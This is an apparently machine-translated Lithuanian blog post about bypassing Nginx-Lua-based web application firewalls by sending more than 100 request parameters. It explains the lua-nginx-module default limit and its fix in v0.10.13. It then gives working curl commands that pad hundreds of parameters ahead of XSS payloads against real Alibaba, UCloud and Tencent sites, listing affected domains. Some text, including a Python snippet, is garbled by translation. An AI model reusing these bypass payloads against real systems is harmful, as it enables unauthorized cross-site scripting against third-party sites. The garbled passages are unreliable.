|
|
Paskelbta 2018-04-27 09:23:29
|
|
|
|

Kai ginx Lua gauna parametrus, pirmosios 100 parametrų reikšmės gaunamos pagal numatytuosius nustatymus, o likusios atmetamos. Todėl WAF, naudojantys Nginx Lua, bus apeiti pagal numatytuosius nustatymus. Balandžio 20, 18, kažkas saugumo keleivis jau atskleidė šią informaciją, todėl aš taip pat paskelbė šį straipsnį 233.
Principas
Oficialus aprašymas yra toks
Atkreipkite dėmesį, kad pagal numatytuosius nustatymus analizuojama ne daugiau kaip 100 užklausos argumentų (įskaitant tuos, kurie turi tą patį pavadinimą) ir kad papildomi užklausos argumentai tyliai atmetami, kad būtų išvengta galimų paslaugų atsisakymo atakos. Pagal numatytuosius nustatymus galima išanalizuoti iki 100 užklausos parametrų (įskaitant tuos, kurie turi tą patį pavadinimą), o papildomi užklausos parametrai automatiškai atmetami, kad būtų išvengta galimų paslaugų atsisakymo atakų.
Paieška 100, maždaug šis metodas turi tą pačią problemą. ngx.req.get_uri_args Gaukite užklausos parametrus ngx.req.get_post_args Gaukite įrašo užklausos parametrus ngx.req.get_headers Gaukite užklausos antraštę ngx.decode_args Iššifruokite parametrų URL ngx.resp.get_headers Gauti atsakymo antraštę Lua-nginx-module šaltinio kode matome, kad šaltinio kodas nustato numatytąjį maksimalios užklausos parametrą ir antraštę į 100
#ifndef NGX_HTTP_LUA_MAX_HEADERS #define NGX_HTTP_LUA_MAX_HEADERS 100 #endif
Tačiau pareigūnas pateikia numatytosios vertės modifikavimo būdą, pvz., ngx.req.get_uri_args (200), kad gautumėte pirmuosius 200 užklausos parametrų.
Bandymo
Jei užklausos parametras yra 101, paskutinio užklausos parametro gauti negalima.
garbanos -v "http://test.zbg.org/test?a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26&a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50=50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73&a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97=97&a98=98&a99=99&a100=100&a=zbg"
Jei sumažinsite vieną užklausos parametrą, galėsite gauti paskutinį užklausos parametrą, kai užklausos parametrai yra tiksliai 100.
a77: 77
a9: 9
a43: 43
a24: 24
a52: 52
a61: 61
a35: 35
a70: 70
a78: 78
a42: 42
a53: 53
a49: 49
a87: 87
a60: 60
a58: 58
a96: 96
a14: 14
a27: 27
a15: 15
a85: 85
a36: 36
a26: 26
a41: 41
a94: 94
a37: 37
a50: 50
a63: 63
a48: 48
a72: 72
a12: 12
a29: 29
a59: 59
a38: 38
a62: 62 A: ZBG Aš turiu u, zbg
Atkreipkite dėmesį, kad numatytasis parametras iš tiesų yra 100 užklausos parametrų, o užklausos parametrai po 100 užklausos parametrų bus atmesti.
Keista, kad aukščiau esančiame grįžtamajame turinyje, grubios padėties viduryje, galutinis zbg parametras jau yra išvestas. Spėju, kad išvestis nėra tvarkinga, tačiau analizės tvarka atitinka parametrų pateikimo tvarką, nes kai 101-oji parametro reikšmė yra zbg, vertės gauti negalima.
Pridedamas python scenarijus, generuojantis parametrus:
# Autorius: ZBG # paštas:zbg@zbg.org # data: 2018-04-03
a = '' i diapazone (200): a = a + 'a{0}={1}&'.format(i+1, i+1) spausdinti Remonto Žinoma, nerekomenduojama keisti parametro MAX vertės šaltinio kode. Nes nesvarbu, kokią didelę vertę nustatėte, ją galima apeiti. Rekomenduojama jį nustatyti pagal metodo parametrus. Jei galite gauti užklausos parametro ilgį ir naudoti tokį metodą kaip ngx.req.get_uri_args (lenth), ar to neužtektų? Skaitydamas dokumentaciją pastebėjau, kad nepavyko gauti prašomų parametrų skaičiaus. Tačiau jei nustatysite objektyvą į 0, galėsite gauti visus prašomus parametrus.
Šis argumentas gali būti nustatytas kaip nulis, kad būtų pašalintas limitas ir apdoroti visi gauti užklausos argumentai. Vietiniai argumentai = ngx.req.get_uri_args(0)
Tačiau labai nerekomenduojama nustatyti 0, kad būtų išvengta galimų paslaugų atsisakymo atakų.
Labai nerekomenduojama nuimti max_args dangtelio.
Tiesą sakant, man buvo įdomu, kodėl 0 nustatymas gali sukelti galimą paslaugų atsisakymo ataką, o užklausa vis tiek patektų į nginx, nesvarbu, kiek parametrų buvo gauti ar post.
Aš iškėliau klausimą pareigūnui, ir autorius pasakė, kad ngx.req.get_uri_args (0) padidins procesoriaus ir atminties naudojimą serveryje. Vėliau išbandžiau 200 parametrų ir naudojau Nginx+php, kad gaučiau 200-ąjį parametrą, o tai reiškia, kad Nginx pagal numatytuosius nustatymus neriboja prašomų parametrų skaičiaus. Tada problema gali slypėti pačiame "Nginx Lua",Kai "Nginx Lua" naudoja ngx.req.get_uri_args(0), kad gautų visus parametrus ir juos kartotų, kai prašoma daug parametrų, jis sunaudoja daugiau procesoriaus ir atminties, o galiausiai netgi atsisako teikti paslaugas。
2018-03-04 Bypass007 oficialiai iškėlė PROBLEMĄ dėl šio klaidų pataisymo ir galiausiai oficialiai pridėjo naują funkciją, pagrįstą šiuo KLAUSIMU 2018-04-21. Šios funkcijos patvirtinimo įrašo adresas: https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
Funkcijos aprašymas yra toks: Versijose po v0.10.13 (įskaitant v0.10.13), kai pažeidžiamas ribinis užklausų skaičius, antroji grąžinama reikšmė yra sutrumpinta eilutė. Nuo v0.10.13, viršijus ribą, jis grąžins antrą reikšmę, kuri yra eilutė "sutrumpinta". Tačiau pasirinktinis max_args funkcijos argumentas gali būti naudojamas šiam apribojimui nepaisyti: Vietiniai argumentai, err = ngx.req.get_uri_args(10) jei klaida == "sutrumpinta", tada -- čia galima pasirinkti ignoruoti arba atmesti dabartinę užklausą pabaiga
Taigi, galutinis pataisymas išėjo.
Atnaujinkite lua-nginx-module į v0.10.13 ar naujesnę versiją
Tada apribokite bendrą parametrų skaičių, nes kiek bendras skaičius yra ribotas, aš asmeniškai manau, kad pakanka 100
"OpenResty" atnaujina lua-nginx-modulio modulį
Neradau jokios informacijos apie OpenResty atnaujinimo modulį, todėl pats sugalvojau, kaip atnaujinti lua-nginx-modulio modulį.
Veiksmai yra šie:
Atsisiųskite atitinkamą lua-nginx-module modulio versiją wget https://github.com/openresty/lua-nginx-module/releases/tag/v0.10.13 Išpakuokite tar -zxvf v0.10.13 Ištrinkite ankstesnę lua-nginx-module versiją rm -rf openresty-1.9.15.1/bundle/ngx_lua-0.10.5 Nukopijuokite naują lua-nginx-modulį mv lua-nginx-module-0.10.13 openresty-1.9.15.1/bundle/ngx_lua-0.10.13 Norėdami kompiliuoti, žiūrėkite VeryNginx kompiliavimo parametrus
Atvejo apėjimas
Reikėtų patikslinti, kad šie WAF Nesu tikras, ar naudoti Nginx Lua, bet juos galima apeiti pagal bendrą parametrų skaičių.
Ali WAF
Šis WAF yra "Alibaba" viduje naudojamas WAF, t. y. WAF, naudojamas domenų vardams, pvz., *.taobao.com, ir nebuvo išbandytas "Alibaba Cloud" parduodamam debesies WAF. Pirmiausia paprašykite POST XSS naudingosios apkrovos, kad ją perimtumėte. curl -v -d 'a=<img src=x onerror=alert(/xss/)>' lu.taobao.com Naudojant "Fuzz" buvo nustatyta, kad padidinus parametrų skaičių iki 478, naudojant "XSS Payload", jis nebeperimamas ir svetainę galima pasiekti įprastai. garbanos -v -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a138=138&a139=139&a140=140&a141=141&a142=142&a143=143&a144=144&a145=145&a146=146&a147=147&a148=148&a149=149&a150=150&a151=151&a152=152&a153= 153&a154=154&a155=155&a156=156&a157=157&a158=158&a159=159&a160=160&a161=161&a162=162&a163=163&a164=164&a165=165&a166=166&a167=167&a168=168&a169=169&a170=170&a171=171& a172=172&a173=173&a174=174&a175=175&a176=176&a177=177&a178=178&a179=179&a180=180&a181=181&a182=182&a183=183&a184=184&a185=185&a186=186&a187=187&a188=188&a189=189&a190= 190&a191=191&a192=192&a193=193&a194=194&a195=195&a196=196&a197=197&a198=198&a199=199&a200=200&a201=201&a202=202&a203=203&a204=204&a205=205&a206=206&a207=207&a208=208& a209=209&a210=210&a211=211&a212=212&a213=213&a214=214&a215=215&a216=216&a217=217&a218=218&a219=219&a220=220&a221=221&a222=222&a223=223&a224=224&a225=225&a226=226&a227= 227&a228=228&a229=229&a230=230&a231=231&a232=232&a233=233&a234=234&a235=235&a236=236&a237=237&a238=238&a239=239&a240=240&a241=241&a242=242&a243=243&a244=244&a245=245& a246=246&a247=247&a248=248&a249=249&a250=250&a251=251&a252=252&a253=253&a254=254&a255=255&a256=256&a257=257&a258=258&a259=259&a260=260&a261=261&a262=262&a263=263&a264= 264&a265=265&a266=266&a267=267&a268=268&a269=269&a270=270&a271=271&a272=272&a273=273&a274=274&a275=275&a276=276&a277=277&a278=278&a279=279&a280=280&a281=281&a282=282& a283=283&a284=284&a285=285&a286=286&a287=287&a288=288&a289=289&a290=290&a291=291&a292=292&a293=293&a294=294&a295=295&a296=296&a297=297&a298=298&a299=299&a300=300&a301= 301&a302=302&a303=303&a304=304&a305=305&a306=306&a307=307&a308=308&a309=309&a310=310&a311=311&a312=312&a313=313&a314=314&a315=315&a316=316&a317=317&a318=318&a319=319& a320=320&a321=321&a322=322&a323=323&a324=324&a325=325&a326=326&a327=327&a328=328&a329=329&a330=330&a331=331&a332=332&a333=333&a334=334&a335=335&a336=336&a337=337&a338= 338&a339=339&a340=340&a341=341&a342=342&a343=343&a344=344&a345=345&a346=346&a347=347&a348=348&a349=349&a350=350&a351=351&a352=352&a353=353&a354=354&a355=355&a356=356& a357=357&a358=358&a359=359&a360=360&a361=361&a362=362&a363=363&a364=364&a365=365&a366=366&a367=367&a368=368&a369=369&a370=370&a371=371&a372=372&a373=373&a374=374&a375= 375&a376=376&a377=377&a378=378&a379=379&a380=380&a381=381&a382=382&a383=383&a384=384&a385=385&a386=386&a387=387&a388=388&a389=389&a390=390&a391=391&a392=392&a393=393& a394=394&a395=395&a396=396&a397=397&a398=398&a399=399&a400=400&a401=401&a402=402&a403=403&a404=404&a405=405&a406=406&a407=407&a408=408&a409=409&a410=410&a411=411&a412= 412&a413=413&a414=414&a415=415&a416=416&a417=417&a418=418&a419=419&a420=420&a421=421&a422=422&a423=423&a424=424&a425=425&a426=426&a427=427&a428=428&a429=429&a430=430& a431=431&a432=432&a433=433&a434=434&a435=435&a436=436&a437=437&a438=438&a439=439&a440=440&a441=441&a442=442&a443=443&a444=444&a445=445&a446=446&a447=447&a448=448&a449= 449&a450=450&a451=451&a452=452&a453=453&a454=454&a455=455&a456=456&a457=457&a458=458&a459=459&a460=460&a461=461&a462=462&a463=463&a464=464&a465=465&a466=466&a467=467& a468=468&a469=469&a470=470&a471=471&a472=472&a473=473&a474=474&a475=475&a476=476&a477=477&a=<img src=x onerror=alert(/xss/)>' lu.taobao.com
UCloud
WAF išbandytas yra WAF, kurį parduoda UCloud. Kai užklausos parametras padidinamas iki 138, jis nebebus blokuojamas ir svetainė bus pasiekiama įprastai. garbanos -d 'a1=1&a2=2&a3=3&a4=4&a5=5&a6=6&a7=7&a8=8&a9=9&a10=10&a11=11&a12=12&a13=13&a14=14&a15=15&a16=16&a17=17&a18=18&a19=19&a20=20&a21=21&a22=22&a23=23&a24=24&a25=25&a26=26& a27=27&a28=28&a29=29&a30=30&a31=31&a32=32&a33=33&a34=34&a35=35&a36=36&a37=37&a38=38&a39=39&a40=40&a41=41&a42=42&a43=43&a44=44&a45=45&a46=46&a47=47&a48=48&a49=49&a50= 50&a51=51&a52=52&a53=53&a54=54&a55=55&a56=56&a57=57&a58=58&a59=59&a60=60&a61=61&a62=62&a63=63&a64=64&a65=65&a66=66&a67=67&a68=68&a69=69&a70=70&a71=71&a72=72&a73=73& a74=74&a75=75&a76=76&a77=77&a78=78&a79=79&a80=80&a81=81&a82=82&a83=83&a84=84&a85=85&a86=86&a87=87&a88=88&a89=89&a90=90&a91=91&a92=92&a93=93&a94=94&a95=95&a96=96&a97= 97&a98=98&a99=99&a100=100&a101=101&a102=102&a103=103&a104=104&a105=105&a106=106&a107=107&a108=108&a109=109&a110=110&a111=111&a112=112&a113=113&a114=114&a115=115&a116= 116&a117=117&a118=118&a119=119&a120=120&a121=121&a122=122&a123=123&a124=124&a125=125&a126=126&a127=127&a128=128&a129=129&a130=130&a131=131&a132=132&a133=133&a134=134& a135=135&a136=136&a137=137&a=alert(1234)' taqu.cn
"Tencent" WAF
Šis WAF yra WAF, kurį "Tencent" naudoja viduje, t. y. WAF, naudojamas domenų varduose, pvz., *.qq.com, ir nebuvo išbandytas "Tencent Cloud" parduodamam debesies WAF. Kai užklausos parametras padidės iki 4000, jis nebebus blokuojamas ir svetainė bus pasiekiama įprastai. Atsitiktiniai šių sričių testai yra paveikti. web.qq.com ke.qq.com auto.qq.com news.qq.com sports.qq.com time.qq.com
suvestinė
Šis klausimas yra labai paprastas, jį galite rasti atidžiai perskaitę dokumentą. Bet kodėl aš to nesužinojau? Manau, kad vis dar per mažai galvojama. Nuoroda
https://github.com/p0pr0ck5/lua-resty-waf/issues/280
https://github.com/openresty/lua-nginx-module#ngxreqget_uri_args
https://github.com/openresty/openresty/issues/358
https://github.com/openresty/lua-nginx-module/commit/52af63a5b949d6da2289e2de3fb839e2aba4cbfd
|
Ankstesnis:Išmokite "Photoshop" nuo nulio, 18 pamokų nuo pradedančiojo iki dievoKitą:Lua ir Luajit stipriosios ir silpnosios pusės
|